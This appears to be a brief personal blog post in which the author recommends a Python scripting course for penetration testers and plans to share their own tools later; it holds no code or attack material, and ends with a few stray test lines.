A few weeks ago I enrolled in the "Python for pentesters" coarse on:
http://www.securitytube-training.com/online-courses/securitytube-python-scripting-expert/index.html

Having never programmed with python I have found the coarse to be absolutely amazing. I am not sure where I would have acquired the tools and modules that make scripting poc's so seamless. I am giving the coarse a break after Module 4 to focus on learning web app pentesting. Reason being is that the exercises given after module 4 require creating poc's for the OWASP top 10 vulnerabilities. I will be posting all of the tools I have created both from the homework exercises in the coarse and my own tools I write along the way.

Test page again

TESSST